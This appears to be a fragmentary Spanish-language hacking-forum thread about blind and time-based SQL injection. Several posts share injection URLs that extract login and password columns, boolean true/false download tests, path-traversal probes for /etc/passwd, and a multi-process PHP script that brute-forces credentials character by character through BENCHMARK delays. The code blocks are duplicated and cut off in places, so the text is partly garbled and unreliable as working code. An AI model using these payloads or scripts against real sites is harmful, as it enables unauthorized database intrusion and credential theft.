es MSSQL? o Mysql? o Postgresql?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú+and+(select+database())+--+
+and+(select+databace())+--+
<?
header ("Content-Disposition: attachment; filename=".$file.";" );
header ("Content-Type: application/force-download"); */
?>
header( 'Content-Disposition: attachment; filename="' . $name . '"');
$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
echo "TRUE";
}else{
echo "FALSE";
}
}
Citar
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"
Cita de: Azielito en 6 Febrero 2009, 19:38 PM
wow '_'
No se me habia ocurrido ese escenario para blind SQL injection
ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD
Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"
bueno, al parecer pense casi en todo
Cita de: Darioxhcx en 7 Febrero 2009, 20:53 PM
en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd
interesante post OzX
saludos
Cita de: EvilGoblin en 7 Febrero 2009, 20:58 PMjejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o la nueva tecnica de obtenercion de informacion como load_file, pero con blind.
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^
http://www.site.com/download.php?id=2
Citarhttp://www.site.com/download.php?id=2+and+1=0 ERROR [No Descarga]
http://www.site.com/download.php?id=2+and+1=1 OK [Si Descarga]
Citar
<?
$x=97;
$substring = 0;
$sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
$url=" > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}
}
############################################################################################
$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];
$file = rand().".txt";
if (file_exists($file)) {
unlink($file);
}
$pids = array();
for($i=$start;$i<=$finish;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR FORK');
} else if ($pid) {
$pids[] = $pid;
} else {
blind($limit,$i,$file);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);
?>
[/code]
Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3]; //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0
Saludos ¡
OzX¡
Fuente : ).chr(13);
}
}
}
############################################################################################
$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];
$file = rand().".txt";
if (file_exists($file)) {
unlink($file);
}
$pids = array();
for($i=$start;$i<=$finish;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR FORK');
} else if ($pid) {
$pids[] = $pid;
} else {
blind($limit,$i,$file);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);
?>
[/code]
Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3]; //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0
Saludos ¡
OzX¡
Fuente : [url=http://foro.undersecurity.net/read.php?5,775,776]http://foro.undersecurity.net/read.php?5,775,776
Cita de: berz3k en 5 Febrero 2009, 05:57 AM
ansii(substring... etc.
duh ?
@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?
-berz3k.
http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*
<?
//Coded by OzX http://foro.undersecurity.net
set_time_limit (0);
error_reporting(0);
function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
function GET($url) {
$curl = curl_init();
$header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
$header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$header[] = "Accept-Language: en-us,en;q=0.5";
$header[] = "Pragma: ";
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}
function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}
function blind_time($limit,$file,$db,$tabla,$columna){
$ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
47,32,0, //null, space, _, ,
48,49,50,51,52,53,54,55,56,57, #0-9
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90, #A-Z
33,35,36,37,38,45,46
);
for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$char = $ascii[$x];
$starttime=time();
echo "[+] ".$limit ." >>> Testing :> ".$char." =================> ".chr($char)."\r\n";
$source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");
$endtime=time();
$difftime=$endtime - $starttime;
//echo " DIFERENCIA -> ".$difftime."\r\n";
if ($difftime >15){
$info = $limit . ">".chr($char)."\n";
$string.= chr($char); //Obtenemos el Valor y lo Guardamos
echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}
}
}
$limit = $argv[2];
$start = $argv[1];
//$db = $argv[3];
//$tabla = $argv[4];
//$columna = $argv[5];
$file = rand().".txt";
if (file_exists($file)) {
unlink($file);
}
$pids = array();
for($i=$start;$i<=$limit;$i++)
{
$pid = pcntl_fork();
if($pid == -1) { die('ERROR FORK');
} else if ($pid) {
$pids[] = $pid;
} else {
blind_time($i,$file,$db,$tabla,$columna);
exit();
}
}
foreach($pids as $pid) {
pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file);
echo "TABLA :> ".$tabla." COLUMNA :>> ".$columna."\r\n";
echo "Valor Obtenido :> ".$data."\r\n";
echo "DEBUG :>\r\n";
print_r($vars);
unlink($file);
?>